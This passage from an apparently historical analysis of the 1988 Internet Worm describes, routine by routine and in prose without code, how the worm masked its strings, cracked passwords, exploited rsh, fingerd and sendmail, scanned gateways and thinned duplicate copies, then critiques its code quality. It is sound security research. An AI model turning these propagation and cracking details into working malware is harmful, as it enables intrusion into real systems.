  686. of the strings program on the binary or object files.  
  687.  
  688. 5.1.7. Embedded Strings  
  689.  
  690. Every text string used by the program, without exception, was 
  691. masked \(XOR\) with the bit  pattern 0x81. Every time a string 
  692. was referenced, it was referenced via a call to XS. The XS 
  693. function decrypted the requested string in a static circular 
  694. buffer and returned a pointer to the  decrypted version. This 
  695. also kept any of the text strings in the program from appearing 
  696. during  an invocation of strings. Simply clearing the high order 
  697. bit \(e.g., XOR 0x80\) or displaying the  program binary would 
  698. not produce intelligible text. All references to XS have been 
  699. omitted  from the following text; realize that every string was 
  700. so encrypted.  It is not evident how the strings were placed in 
  701. the program in this manner. The masked strings were present 
  702. inline in the code, so some preprocessor or a modified version of 
  703. the compiler must have been used. This represents a significant 
  704. effort by the author of the worm, and suggests quite strongly 
  705. that the author wanted to complicate or prevent the analysis of 
  706. the program once it was discovered. 
  707.  
  708. 5.2. Routines 
  709.  
  710. The descriptions given here are arranged in alphabetic order. The 
  711. names of some routines are exactly as used by the author of the 
  712. code. Other names are based on the function of the routine, and 
  713. those names were chosen because the original routines were 
  714. declared static and name information was not present in the 
  715. object files. If the reader wishes to trace the functional \257ow 
  716. of the worm, begin with the descriptions of routines main and 
  717. doit \(presented first for this reason\). By function, the 
  718. routines can be \(arbitrarily\) grouped as follows: setup and 
  719. utility : main, doit, crypt, h_addaddr, h_addname, h_addr2host, 
  720. h_clean, h_name2host, if_init, loadobject, makemagic, netmaskfor, 
  721. permute, rt_init, supports_rsh, and supports_telnet. network & 
  722. password attacks : attack_network, attack_user, crack_0, crack_1, 
  723. crack_2, crack_3, cracksome, ha, hg, hi, hl, hul, infect, 
  724. scan_gateways, sendworm, try_fingerd, try_password, try_rsh, 
  725. try_sendmail, and waithit. camouflage: checkother, other_sleep, 
  726. send_message, and xorbuf. 
  727.  
  728. 5.2.1. main 
  729.  
  730. This was where the program started. The first thing it did was 
  731. change its argument vector to make it look like it was the shell 
  732. running. Next, it set its resource limits so a failure would not 
  733. drop a core file. Then it loaded all the files named on the 
  734. command line into the object structure in memory using calls to 
  735. loadobject. If the file was not one of the objects loaded, the 
  736. worm would immediately call exit. Next, the code unlinked all the 
  737. object files, the file named sh \(the worm itself\), and the file 
  738. /tmp/.dumb \(apparently a remnant of some earlier version of the 
  739. program, possibly used as a restraint or log during 
  740. testing\320the file is not otherwise referenced\). The program 
  741. then finished zeroing out the argument vector. Next, the code 
  742. would call if_init. If no interfaces were discovered by that 
  743. routine, the program would call exit. The program would then get 
  744. its current process group. If the process group was the same as 
  745. its parent process id \(passed on the command line\), it would 
  746. reset its process group and send a KILL signal to its parent. 
  747. Last of all, the routine doit was invoked. 
  748.  
  749. 5.2.2. doit 
  750.  
  751. This was the main worm code. First, a variable was set to the 
  752. current time with a call to time, and the random number generator 
  753. was initialized with the return value. Next, the routines hg and 
  754. hl were invoked to infect some hosts. If one or both of these 
  755. failed to infect any hosts, the routine ha was invoked. Next, the 
  756. routine checkother was called to see if other worms were on this 
  757. host. The routine send_message was also called to cast suspicion 
  758. on the folks at Berkeley. 
  759.  
  760. 12 
  761. The code then entered an infinite loop: A call would be made to 
  762. cracksome followed by a call to other_sleep with a parameter of 
  763. 30. Then cracksome would be called again. At this point, the 
  764. process would fork itself, and the parent would exit, leaving the 
  765. child to continue. Next, the routines hg, ha, and hi would all be 
  766. called to infect other hosts. If any one \(or combination\) of 
  767. these routines failed to infect a new host, the routine hl would 
  768. be called to infect a local host. Thus, the code was aggressive 
  769. about always infecting at least one host each pass through this 
  770. loop. The logic here was faulty, however, because if all known 
  771. gateway hosts were infected, or a bad set of host numbers were 
  772. tried in ha, this code would call hl every time through the loop. 
  773. Such behavior was one of the reasons hosts became overloaded with 
  774. worm processes: every pass through the loop, each worm would 
  775. likely be forced to infect another local host. Considering that 
  776. multiple worms could run on a host for some time before one would 
  777. exit, this could lead to an exponential growth of worms in a LAN 
  778. environment. Next, the routine other_sleep was called with a 
  779. timeout of 120. A check was then made to see if the worm had run 
  780. for more than 12 hours. If so, a call was made to h_clean. 
  781. Finally, a check was made of the pleasequit and nextw variables 
  782. \(set in other_sleep or checkother, and crack_2, respectively\).  
  783. If pleasequit was nonzero, and nextw was greater than 10, the 
  784. worm would exit. 
  785.  
  786. 5.2.3. attack_network 
  787.  
  788. This routine was designed to infect random hosts on a subnet. 
  789. First, for each of the network interfaces, if checked to see if 
  790. the target host was on a network to which the current host was 
  791. directly connected. If so, the routine immediately returned. 
  792. 13 
  793. Based on the class of the netmask \(e.g., Class A, Class B\), the 
  794. code constructed a list of likely network numbers. A special 
  795. algorithm was used to make good guesses at potential Class A host 
  796. numbers. All these constructed host numbers were placed in a 
  797. list, and the list was then randomized using permute. If the 
  798. network was Class B, the permutation was done to favor low-
  799. numbered hosts by doing two separate permutations\320the first 
  800. six hosts in the output list were guaranteed to be chosen from 
  801. the first dozen \(low-numbered\) host numbers generated. The 
  802. first 20 entries in the permuted list were the only ones 
  803. examined. For each such IP address, its entry was retrieved from 
  804. the global list of hosts \(if it was in the list\). If the host 
  805. was in the list and was marked as already infected or immune, it 
  806. was ignored. Otherwise, a check was made to see if the host 
  807. supported the rsh command \(identifying it as existing and having 
  808. BSD-derived networking services\) by calling supports_rsh. If the 
  809. host did support rsh, it was entered into the hosts list if not 
  810. already present, and a call to infect was made for that host. If 
  811. a successful infection occurred, the routine returned early with 
  812. a value of TRUE \(1\). 
  813.  
  814. 5.2.4. attack_user 
  815.  
  816. This routine was called after a user password was broken. It has 
  817. some incorrect code and may not work properly on every 
  818. architecture because a subroutine call was missing an argument. 
  819. However, on Suns and VAXen, the code will work because the 
  820. missing argument was supplied as an extra argument to the 
  821. previous call, and the order of the arguments on the stack 
  822. matches between the two routines. It was largely a coincidence 
  823. that this worked. The routine attempted to open a .forward file 
  824. in the the user's home directory, and then for each host and user 
  825. name present in that file, it called the hul routine. It then did 
  826. the same thing with the .rhosts file, if present, in the user's 
  827. home directory. 
  828.  
  829. 5.2.5. checkother 
  830.  
  831. This routine was to see if another worm was present on this 
  832. machine and is a companion routine to other_sleep. First, a 
  833. random value was checked: with a probability of 1 in 7, the 
  834. routine returned without ever doing anything\320these worms 
  835. become immortal in the sense that they never again participated 
  836. in the process of thinning out multiple local worms. Otherwise, 
  837. the worm created a socket and tried to connect to the local 
  838. ``worm port''\320 23357. If the connection was successful, an 
  839. exchange of challenges was made to verify that the other side was 
  840. actually a fellow worm. If so, a random value was written to the 
  841. other side, and a value was read from the socket. If the sum of 
  842. the value sent plus the value read was even, the local worm set 
  843. its pleasequit variable to 1, thus marking it for eventual self-
  844. destruction. The socket was then closed, and the worm opened a 
  845. new socket on the same port \(if it was not destined to self-
  846. destruct\) and set other_fd to that socket to listen for other 
  847. worms. If any errors were encountered during this procedure, the 
  848. worm involved set other_fd to -1 and it returned from the 
  849. routine. This meant that any error caused the worm to be 
  850. immortal, too. 
  851.  
  852. 5.2.6. crack_0 
  853.  
  854. This routine first scanned the /etc/hosts.equiv file, adding new 
  855. hosts to the global list of hosts and setting the \257ags field 
  856. to mark them as equivalent.  Calls were made to name2host and 
  857. getaddrs. Next, a similar scan was made of the /.rhosts file 
  858. using the exact same calls. The code then called setpwent to open 
  859. the /etc/passwd file. A loop was performed as long as passwords 
  860. could be read: Every 10th entry, a call was made to other_sleep 
  861. with a timeout of 0. For each user, an attempt was made to open 
  862. the file .forward 
  863. 14 
  864. in the home directory of that user, and read the hostnames 
  865. therein. These hostnames were also added to the host list and 
  866. marked as equivalent. The encrypted password, home directory, and 
  867. gecos field for each user was stored into the pwd structure. 
  868. After all user entries were read, the endpwent routine was 
  869. invoked, and the cmode variable was set to 1. 
  870.  
  871. 5.2.7. crack_1 
  872.  
  873. This routine tried to break passwords. It looped until all 
  874. accounts had been tried, or until the next group of 50 accounts 
  875. had been tested. In the loop: A call was made to other_sleep with 
  876. a parameter of zero each time the loop index modulo 10 was zero 
  877. \(i.e., every 10 calls\). Repeated calls were made to 
  878. try_password with the values discussed earlier in \2474-8b. Once 
  879. all accounts had been tried, the variable cmode was set to 2. 
  880.  
  881. 5.2.8. crack_2 
  882.  
  883. This routine used the mini-dictionary in an attempt to break user 
  884. passwords \(see Appendix A\). The dictionary was first permuted 
  885. \(using the permute\) call. Each word was decrypted in- place by 
  886. XORing its bytes with 0x80. The decrypted word was then passed to 
  887. the try_password routine for each user account. The word was then 
  888. re-encrypted. A global index, named nextw was incremented to 
  889. point to the next dictionary entry. The nextw index is also used 
  890. in doit to determine if enough effort had been expended so that 
  891. the worm could ``...go gently into that good night.'' When no 
  892. more words were left, the variable cmode was set to 3. There are 
  893. two interesting points to note in this routine: the reverse of 
  894. these words were not tried, although that would seem like a 
  895. logical thing to do, and all words were encrypted and decrypted 
  896. in place rather than in a temporary buffer. This is less 
  897. efficient than a copy while masking since no re-encryption ever 
  898. needs to be done. As discussed in the next section, many examples 
  899. of unnecessary effort such as this were present in the program. 
  900. Furthermore, the entire mini-dictionary was decrypted all at once 
  901. rather than a word at a time. This would seem to lessen the 
  902. benefit of encrypting those words at all, since the entire 
  903. dictionary would then be present in memory as plaintext during 
  904. the time all the words were tried. 
  905.  
  906. 5.2.9. crack_3 
  907.  
  908. This was the last password cracking routine. It opened 
  909. /usr/dict/words, and for each word found it called try_password 
  910. against each account. If the first letter of the word was a 
  911. capital, it was converted to lower case and retried. After all 
  912. words were tried, the variable cmode was incremented and the 
  913. routine returned. In this routine, no calls to other_sleep were 
  914. interspersed, thus leading to processes that ran for a long time 
  915. before checking for other worms on the local machine. Also of 
  916. note, this routine did not try the reverse of words either! 
  917.  
  918. 5.2.10. cracksome 
  919.  
  920. This routine was a simple switch statement on an external 
  921. variable named cmode and it implemented the five strategies 
  922. discussed in \2474-8 of this paper. State zero called crack_0, 
  923. state one called crack_1,  state two called crack_2,  and state 
  924. three called crack_3.  The default case simply returned. 
  925.  
  926. 5.2.11. crypt 
  927.  
  928. This routine took a key and a salt, then performed the UNIX 
  929. password encryption function on a block of zero bits. The return 
  930. value of the routine was a pointer to a character string of 13 
  931. characters representing the encoded password. The routine was 
  932. highly optimized and differs considerably from the standard 
  933. library version of the same routine. It called the following 
  934. routines: compkeys, mungE, des, and ipi. A routine, setupE,  was 
  935. also present and was associated with this code, but it was never 
  936. referenced. It appears to duplicate the functionality of the 
  937. mungE function. 
  938.  
  939. 5.2.12. h_addaddr 
  940.  
  941. This routine added alternate addresses to a host entry in the 
  942. global list if they were not already present. 
  943.  
  944. 5.2.13. h_addname 
  945.  
  946. This routine added host aliases \(names\) to a given host entry. 
  947. Duplicate entries were suppressed. 
  948.  
  949. 5.2.14. h_addr2host 
  950.  
  951. The host address provided to the routine was checked against each 
  952. entry in the global host list to see if it was already present. 
  953. If so, a pointer to that host entry was returned. If not, and if 
  954. a parameter flag was set, a new entry was initialized with the 
  955. argument address and a pointer to it was returned. 
  956.  
  957. 5.2.15. h_clean 
  958.  
  959. This routine traversed the host list and removed any entries 
  960. marked as infected or immune \(leaving hosts not yet tried\). 
  961.  
  962. 5.2.16. h_name2host 
  963.  
  964. Just like h_addr2host except the comparison was done by name with 
  965. all aliases. 
  966.  
  967. 5.2.17. ha 
  968.  
  969. This routine tried to infect hosts on remote networks. First, it 
  970. checked to see if the gateways list had entries; if not, it 
  971. called rt_init.  Next, it constructed a list of all IP addresses 
  972. for gateway hosts that responded to the try_telnet routine. The 
  973. list of host addresses was randomized by permute.  Then, for each 
  974. address in the list so constructed, the address was masked with 
  975. the value returned by netmaskfor and the result was passed to the 
  976. attack_network routine. If an attack was successful, the routine 
  977. exited early with a return value of TRUE. 
  978.  
  979. 5.2.18. hg 
  980.  
  981. This routine attempted to infect gateway machines. It first 
  982. called rt_init to reinitialize the list of gateways, and then for 
  983. each gateway it called the main infection routine, infect,  with 
  984. the gateway as an argument. As soon as one gateway was 
  985. successfully infected, the routine returned TRUE. 
  986.  
  987. 5.2.19. hi 
  988.  
  989. This routine tried to infect hosts whose entries in the hosts 
  990. list were marked as equivalent.  The routine traversed the global 
  991. host list looking for such entries and then calling infect with 
  992. those hosts. A successful infection returned early with the value 
  993. TRUE. 
  994.  
  995. 5.2.20. hl 
  996.  
  997. This routine was intended to attack hosts on directly-connected 
  998. networks. For each alternate address of the current host, the 
  999. routine attack_network was called with an argument consisting of 
  1000. the address logically and-ed with the value of netmask for that 
  1001. address. A success caused the routine to return early with a 
  1002. return value of TRUE. 
  1003.  
  1004. 5.2.21. hul 
  1005.  
  1006. This function attempted to attack a remote host via a particular 
  1007. user. It first checked to make sure that the host was not the 
  1008. current host and that it had not already been marked as infected. 
  1009. Next, it called getaddrs to be sure there was an address to be 
  1010. used. It examined the username for punctuation characters, and 
  1011. returned if any were found. It then called other_sleep with an 
  1012. argument of 1. Next, the code tried the attacks described in 
  1013. \2474-10. Calls were made to sendworm if either attack succeeded 
  1014. in establishing a shell on the remote machine. 
  1015.  
  1016. 5.2.22. if_init 
  1017.  
  1018. This routine constructed the list of interfaces using ioctl 
  1019. calls. In summary, it obtained information about each interface 
  1020. that was up and running, including the destination address in 
  1021. point-to-point links, and any netmask for that interface. It 
  1022. initialized the me pointer to the first non-loopback address 
  1023. found, and it entered all alternate addresses in the address 
  1024. list. 
  1025.  
  1026. 5.2.23. infect 
  1027.  
  1028. This was the main infection routine. First, the host argument was 
  1029. checked to make sure that it was not the current host, that it 
  1030. was not currently infected, and that it had not been determined 
  1031. to be immune. Next, a check was made to be sure that an address 
  1032. for the host could be found by calling getaddrs.  If no address 
  1033. was found, the host was marked as immune and the routine returned 
  1034. FALSE. Next, the routine called other_sleep with a timeout of 1. 
  1035. Following that, it tried, in succession, calls to try_rsh,  
  1036. try_fingerd,  and try_sendmail.  If the calls to try_rsh or 
  1037. try_fingerd 
  1038.  
  1039. succeeded, the file descriptors established by those invocations 
  1040. were passed as arguments to the sendworm call. If any of the 
  1041. three infection attempts succeeded, infect returned early with a 
  1042. value of TRUE. Otherwise, the routine returned FALSE. 
  1043.  
  1044. 5.2.24. loadobject 
  1045.  
  1046. This routine read an object file into the objects structure in 
  1047. memory. The file was opened and the size found with a call to the 
  1048. library routine fstat.  A buffer was malloc'd of the appropriate 
  1049. size, and a call to read was made to read the contents of the 
  1050. file. The buffer was encrypted with a call to xorbuf,  then 
  1051. transferred into the objects array. The suffix of the name 
  1052. \(e.g., sun3.o, l1.c, vax.o\) was saved in a field in the 
  1053. structure, as was the size of the object. 
  1054.  
  1055. 5.2.25. makemagic 
  1056.  
  1057. The routine used the library random call to generate a random 
  1058. number for use as a challenge number. Next, it tried to connect 
  1059. to the telnet port \(#23\) of the target host, using each 
  1060. alternate address currently known for that host. If a successful 
  1061. connection was made, the library call getsockname was called to 
  1062. get the canonical IP address of the current host relative to the 
  1063. target. Next, up to 1024 attempts were made to establish a TCP 
  1064. socket, using port numbers generated by taking the output of the 
  1065. random number generator modulo 32767. If the connection was 
  1066. successful, the routine returned the port number, the file 
  1067. descriptor of the socket, the canonical IP address of the current 
  1068. host, and the challenge number. 
  1069.  
  1070. 5.2.26. netmaskfor 
  1071.  
  1072. This routine stepped through the interfaces array and checked the 
  1073. given address against those interfaces. If it found that the 
  1074. address was reachable through a connected interface, the netmask 
  1075. returned was the netmask associated with that interface. 
  1076. Otherwise, the return was the default netmask based on network 
  1077. type \(Class A, Class B, Class C\). 
  1078.  
  1079. 5.2.27. other_sleep 
  1080.  
  1081. This routine checked a global variable named other_fd.  If the 
  1082. variable was less than zero, the routine simply called sleep with 
  1083. the provided timeout argument, then returned. Otherwise, the 
  1084. routine waited on a select system call for up to the value of the 
  1085. timeout. If the timeout expired, the routine returned. Otherwise, 
  1086. if the select return code indicated there was input pending on 
  1087. the other_fd descriptor, it meant there was another worm on the 
  1088. current machine. A connection was established and an exchange of 
  1089. ``magic'' numbers was made to verify identity. The local worm 
  1090. then wrote a random number \(produced by random\) to the other 
  1091. worm via the socket. The reply was read and a check was made to 
  1092. ensure that the response came from the localhost \(127.0.0.1\). 
  1093. The file descriptor was closed. If the random value sent plus the 
  1094. response was an odd number, the other_fd variable was set to -1 
  1095. and the pleasequit variable was set to 1. This meant that the 
  1096. local worm would die when conditions were right \(cf. doit \), 
  1097. and that it would no longer attempt to contact other worms on the 
  1098. local machine. If the sum was even, the other worm was destined 
  1099. to die. 
  1100.  
  1101. 5.2.28. permute 
  1102.  
  1103. This routine randomized the order of a list of objects. This was 
  1104. done by executing a loop once for each item in the list. In each 
  1105. iteration of the loop, the random number generator was called 
  1106. modulo the number of items in the list. The item in the list 
  1107. indexed by that value was swapped with the item in the list 
  1108. indexed by the current loop value \(via a call to bcopy\). 
  1109.  
  1110. 5.2.29. rt_init 
  1111.  
  1112. This initialized the list of gateways. It started by setting an 
  1113. external counter, ngateways,  to zero. Next, it invoked the 
  1114. command ``/usr/ucb/netstat -r -n'' using a popen call. The code 
  1115. then looped while output was received from the netstat command: A 
  1116. line was read. A call to other_sleep was made with a timeout of 
  1117. zero. The input line was parsed into a destination and a gateway. 
  1118. If the gateway was not a valid IP address, or if it was the 
  1119. loopback address \(127.0.0.1\), it was discarded. The value was 
  1120. then compared against all the gateway addresses already known; 
  1121. duplicates were skipped. It was also compared against the list of 
  1122. local interfaces \(local networks\), and discarded if a 
  1123. duplicate. Otherwise, it was added to the list of gateways and 
  1124. the counter incremented. 
  1125.  
  1126. 5.2.30. scan_gateways 
  1127.  
  1128. First, the code called permute to randomize the gateways list. 
  1129. Next, it looped over each gateway or the first 20, whichever was 
  1130. less: A call was made to other_sleep with a timeout of zero. The 
  1131. gateway IP address was searched for in the host list; a new entry 
  1132. was allocated for the host if none currently existed. The gateway 
  1133. flag was set in the flags field of the host entry. A call was 
  1134. made to the library routine gethostbyaddr with the IP number of 
  1135. the gateway. The name, aliases and address fields were added to 
  1136. the host list, if not already present. Then a call was made to 
  1137. gethostbyname and alternate addresses were added to the host 
  1138. list. After this loop was executed, a second loop was started 
  1139. that did effectively the same thing as the first! There is no 
  1140. clear reason why this was done, unless it is a remnant of earlier 
  1141. code, or a stub for future additions. 
  1142.  
  1143. 5.2.31. send_message 
  1144.  
  1145. This routine made a call to random and 14 out of 15 times 
  1146. returned without doing anything. In the 15th case, it opened a 
  1147. stream socket to host ``ernie.berkeley.edu'' and then tried to 
  1148. send an uninitialized byte using the sendto call. This would not 
  1149. work \(using a UDP send on a TCP socket\). 
  1150.  
  1151. 5.2.32. sendworm 
  1152.  
  1153. This routine sent the worm code over a connected TCP circuit to a 
  1154. remote machine. First it checked to make sure that the objects 
  1155. table held a copy of the l1.c code \(see Appendix B\). Next, it 
  1156. called makemagic to get a local socket established and to 
  1157. generate a challenge string. Then, it encoded and wrote the 
  1158. script detailed previously in \2474-2a. Finally, it called 
  1159. waithit and returned the result code of that routine. The object 
  1160. files shipped across the link were decrypted in memory first by a 
  1161. call to xorbuf and then re-encrypted afterwards. 
  1162.  
  1163. 5.2.33. supports_rsh 
  1164.  
  1165. This routine determined if the target host, specified as an 
  1166. argument, supported the BSD- derived rsh protocol. It did this by 
  1167. creating a socket and attempting a TCP connection to port 514 on 
  1168. the remote machine. A timeout or connect failure caused a return 
  1169. of FALSE; otherwise, the socket was closed and the return value 
  1170. was TRUE. 
  1171.  
  1172. 5.2.34. supports_telnet 
  1173.  
  1174. This routine determined if a host was reachable and supported the 
  1175. telnet protocol \(i.e., was probably not a router or similar 
  1176. ``dumb'' box\). It was similar to supports_rsh in nature. The 
  1177. code established a socket, connected to the remote machine on 
  1178. port 23, and returned FALSE if an error or timeout occurred; 
  1179. otherwise, the socket was closed and TRUE was returned. 
  1180.  
  1181. 5.2.35. try_fingerd 
  1182.  
  1183. This routine tried to establish a connection to a remote finger 
  1184. daemon on the given host by connecting to port 79. If the 
  1185. connection succeeded, it sent across an overfull buffer as 
  1186. described in \2474-8b and waited to see if the other side became 
  1187. a shell. If so, it returned the file descriptors to the caller; 
  1188. otherwise, it closed the socket and returned a failure code. 
  1189.  
  1190. 5.2.36. try_password 
  1191.  
  1192. This routine called crypt with the password attempt and compared 
  1193. the result against the encrypted password in the pwd entry for 
  1194. the current user. If a match was found, the unencrypted password 
  1195. was copied into the pwd structure, and the routine attack_user 
  1196. was invoked. 
  1197.  
  1198. 5.2.37. try_rsh 
  1199.  
  1200. This function created two pipes and then forked a child process. 
  1201. The child process attempted to rexec a remote shell on the host 
  1202. specified in the parameters, using the specified username and 
  1203. password. Then the child process tried to invoke the rsh command 
  1204. by attempting to run, in order, ``/usr/ucb/rsh,'' 
  1205. ``/usr/bin/rsh,'' and ``/bin/rsh.'' If the remote shell 
  1206. succeeded, the function returned the file descriptors of the open 
  1207. pipe. Otherwise, it closed all file descriptors, killed the child 
  1208. with a SIGKILL, and reaped it with a call to wait3. 
  1209.  
  1210. 5.2.38. try_sendmail 
  1211.  
  1212. This routine attempted to establish a connection to the SMTP port 
  1213. \(#25\) on the remote host. If successful, it conducted the 
  1214. dialog explained in \2474-2b. It then called the waithit routine 
  1215. to see if the infection ``took.'' Return codes were checked after 
  1216. each line was transmitted, and if a return code indicated a 
  1217. problem, the routine aborted after sending a ``quit'' message. 
  1218.  
  1219. 5.2.39. waithit 
  1220.  
  1221. This function acted as the bootstrap server for a vector program 
  1222. on a remote machine. It waited for up to 120 seconds on the 
  1223. socket created by the makemagic routine, and if no connection was 
  1224. made it closed the socket and returned a failure code. Likewise, 
  1225. if the first thing received was not the challenge string shipped 
  1226. with the bootstrap program, the socket was closed and the routine 
  1227. returned. The routine decrypted each object file using xorbuf and 
  1228. sent it across the connection to the vector program \(see 
  1229. Appendix B\). Then a script was transmitted to compile and run 
  1230. the vector. This was described in \2474-4. If the remote host was 
  1231. successfully infected, the infected flag was set in the host 
  1232. entry and the socket closed. Otherwise, the routine sent rm 
  1233. command strings to delete each object file. The function returned 
  1234. the success or failure of the infection. 
  1235.  
  1236. 5.2.40. xorbuf 
  1237.  
  1238. This routine was somewhat peculiar. It performed a simple 
  1239. encryption/decryption function by XORing the buffer passed as an 
  1240. argument with the first 10 bytes of the xorbuf routine itself! 
  1241. This code would not work on a machine with a split I/D space or 
  1242. on tagged architectures. 
  1243.  
  1244. 6. Analysis of the Code 
  1245.  
  1246. 6.1. Structure and Style 
  1247.  
  1248. An examination of the reverse-engineered code of the worm is 
  1249. instructive. Although it is not the same as reading the original 
  1250. code, it does reveal some characteristics of the author\(s\). One 
  1251. conclusion that may surprise some people is that the quality of 
  1252. the code is mediocre, and might even be considered poor. For 
  1253. instance, there are places where calls are made to functions with 
  1254. either too many or too few arguments. Many routines have local 
  1255. variables that are either never used, or are potentially used 
  1256. before they are initialized. In at least one location, a struct 
  1257. is passed as an argument rather than the address of the struct. 
  1258. There is also dead code, as routines that are never referenced, 
  1259. and as code that cannot be executed because of conditions that 
  1260. are never met \(possibly bugs\). It appears that the author\(s\) 
  1261. never used the lint utility on the program. At many places in the 
  1262. code, there are calls on system routines and the return codes are 
  1263. never checked for success. In many places, calls are made to the 
  1264. system heap routine, malloc and the result is immediately used 
  1265. without any check. Although the program was configured not to 
  1266. leave a core file or other evidence if a fatal failure occurred, 
  1267. the lack of simple checks on the return codes is indicative of 
  1268. sloppiness; it also suggests that the code was written and run 
  1269. with minimal or no testing. It is certainly possible that some 
  1270. checks were written into the code and elided subject to 
  1271. conditional compilation flags. However, there would be little 
  1272. reason to remove those checks from the production version of the 
  1273. code. The structures chosen for some of the internal data are 
  1274. also revealing. Everything was represented as linked lists of 
  1275. structures. All searches were done as linear passes through the 
  1276. appropriate list. Some of these lists could get quite long and 
  1277. doubtless that considerable CPU time was spent by the worm just 
  1278. maintaining and searching these lists. A little extra code to 
  1279. implement hash buckets or some form of sorted lists would have 
  1280. added little overhead to the program, yet made it much more 
  1281. efficient \(and thus quicker to infect other hosts and less 
  1282. obvious to system watchers\). Linear lists may be easy to code, 
  1283. but any experienced programmer or advanced CS student should be 
  1284. able to implement a hash table or lists of hash buckets with 
  1285. little difficulty. Some effort was duplicated in spots. An 
  1286. example of this was in the code that tried to break passwords. 
  1287. Even if the password to an account had been found in an earlier 
  1288. stage of execution, the worm would encrypt every word in the 
  1289. dictionary and attempt a match against it. Similar redundancy can 
  1290. be found in the code to construct the lists of hosts to infect. 
  1291. There are locations in the code where it appears that the 
  1292. author\(s\) meant to execute a particular function but used the 
  1293. wrong invocation. The use of the UDP send on a TCP socket is one 
  1294. glaring example. Another example is at the beginning of the 
  1295. program where the code sends a KILL signal to its parent process. 
  1296. The surrounding code gives strong indication that the user 
  1297. actually meant to do a killpg instead but used the wrong call. 
  1298. The one section of code that appears particularly well-thought-
  1299. out involves the crypt routines used to check passwords. As has 
  1300. been noted in [Seel88], this code is nine times faster than the 
  1301. standard Berkeley crypt function. Many interesting modifications 
  1302. were made to the algorithm, and the routines do not appear to 
  1303. have been written by the same author as the rest of the code. 
  1304. Additionally, the routines involved have some support for both 
  1305. encryption anddecryption\320even though only encryption was 
  1306. needed for the worm. This supports the assumption that this 
  1307. routine was written by someone other than the author\(s\) of the 
  1308. program, and included with this code. It would be interesting to 
  1309. discover where this code originated and how it came to be in the 
  1310. Worm program. The program could have been much more virulent had 
  1311. the author\(s\) been more experienced or less rushed in her/his 
  1312. coding. However, it seems likely that this code had been 
  1313. developed over a long period of time, so the only conclusion that 
  1314. can be drawn is that the author\(s\) was sloppy or careless \(or 
  1315. both\), and perhaps that the release of the worm was premature. 
  1316.  
  1317. 6.2. Problems of Functionality 
  1318.  
  1319. There is little argument that the program was functional. In 
  1320. fact, we all wish it had been less capable! However, we are lucky 
  1321. in the sense that the program had flaws that prevented it from 
  1322. operating to the fullest. For instance, because of an error, the 
  1323. code would fail to infect hosts on a local area network even 
  1324. though it might identify such hosts. Another example of 
  1325. restricted functionality concerns the gathering of hostnames to 
  1326. infect. As noted already, the code failed to gather host names 
  1327. >From user .rhosts files early on. It also did not attempt to 
  1328. collect host names from other user and system files containing 
  1329. such names \(e.g., /etc/hosts.lpd\). Many of the operations could 
  1330. have been done ``smarter.'' The case of using linear structures 
  1331. has already been mentioned. Another example would have been to 
  1332. sort user passwords by the salt used. If the same salt was 
  1333. present in more than one password, then all those passwords could 
  1334. be checked in parallel as a single pass was made through the 
  1335. dictionaries. On our machine, 5% of the 200 passwords share the 
  1336. same salts, for instance. No special advantage was taken if the 
  1337. root password was compromised. Once the root password has been 
  1338. broken, it is possible to fork children that set their uid and 
  1339. environment variables to match each designated user. These 
  1340. processes could then attempt the rsh attack described earlier in 
  1341. this report. Instead, root is treated as any other account. It 
  1342. has been suggested to me that this treatment of root may have 
  1343. been a conscious choice of the worm author\(s\). Without knowing 
  1344. the true motivation of the author, this is impossible to decide. 
  1345. However, considering the design and intent of the program, I find 
  1346. it difficult to believe that such exploitation would have been 
  1347. omitted if the author had thought of it. The same attack used on 
  1348. the finger daemon could have been extended to the Sun version of 
  1349. the program, but was not. The only explanations that come to mind 
  1350. why this was not done are that the author lacked the motivation, 
  1351. the ability, the time, or the resources to develop a version for 
  1352. the Sun. However, at a recent meeting, Professor Rick Rashid of 
  1353. Carnegie-Mellon University was heard to claim that Robert T. 
  1354. Morris, the alleged author of the worm, had revealed the fingerd 
  1355. bug to system administrative staff at CMU well over a year ago. 
  1356. 15 
  1357. Assuming this report is correct and the worm author is indeed Mr. 
  1358. Morris, it is obvious that there was sufficient time to construct 
  1359. a Sun version of the code. In fact, I asked three Purdue graduate 
  1360. students \(Shawn D. Ostermann, Steve J. Chapin, and Jim N. 
  1361. Griffoen to develop a Sun 3 version of the attack, and they did 
  1362. so in under three hours. The Worm author certainly must have had 
  1363. access to Suns or else he would not have been able to provide Sun 
  1364. binaries to accompany the operational worm. Motivation should 
  1365. also not be a factor considering everything else present in the 
  1366. program. With time and resources available, the only reason I 
  1367. cannot immediately rule out is that he lacked the knowledge of 
  1368. how to implement a Sun version of the attack. This seemsunlikely, 
  1369. but given the inconsistent nature of the rest of the code, it is 
  1370. certainly a possibility. However, if this is the case, it raises 
  1371. a new question: was the author of the Worm the original author of 
  1372. the VAX fingerd attack? Perhaps the most obvious shortcoming of 
  1373. the code is the lack of understanding about propagation and load. 
  1374. The reason the worm was spotted so quickly and caused so much 
  1375. disruption was because it replicated itself exponentially on some 
  1376. networks, and because each worm carried no history with it. 
  1377. Admittedly, there was a check in place to see if the current 
  1378. machine was already infected, but one out of every seven worms 
  1379. would never die even if there was an existing infestation. 
  1380. Furthermore, worms marked for self-destruction would continue to 
  1381. execute up to the point of having made at least one complete pass 
  1382. through the password file. Many approaches could have been taken 
  1383. by the author\(s\) to slow the growth of the worm or prevent 
  1384. reinfestation; little is to be gained from explaining them here, 
  1385. but their absence from the worm program is telling. Either the 
  1386. author\(s\) did not have any understanding of how the program 
  1387. would propagate, or else she/he/they did not care; the existence 
  1388. in the Worm of mechanisms to limit growth tends to indicate that 
  1389. it was a lack of understanding rather than indifference. Some of 
  1390. the algorithms used by the Worm were reasonably clever. One in 
  1391. particular is interesting to note: when trying passwords from the 
  1392. built-in list, or when trying to break into connected hosts, the 
  1393. worm would randomize the list of candidates for trial. Thus, if 
  1394. more than one worm were present on the local machine, they would 
  1395. be more likely to try candidates in a different order, thus 
  1396. maximizing their coverage. This implies, however \(as does the 
  1397. action of the pleasequit variable\) that the author\(s\) was not 
  1398. overly concerned with the presence of multiple worms on the same 
  1399. machine. More to the point, multiple worms were allowed for a 
  1400. while in an effort to maximize the spread of the infection. This 
  1401. also supports the contention that the author did not understand 
  1402. the propagation or load effects of the Worm. The design of the 
  1403. vector program, the ``thinning'' protocol, and the use of the 
  1404. internal state machine were all clever and non-obvious. The 
  1405. overall structure of the program, especially the code associated 
  1406. with IP addresses, indicates considerable knowledge of networking 
  1407. and the routines available to support it. The knowledge evidenced 
  1408. by that code would indicate extensive experience with networking 
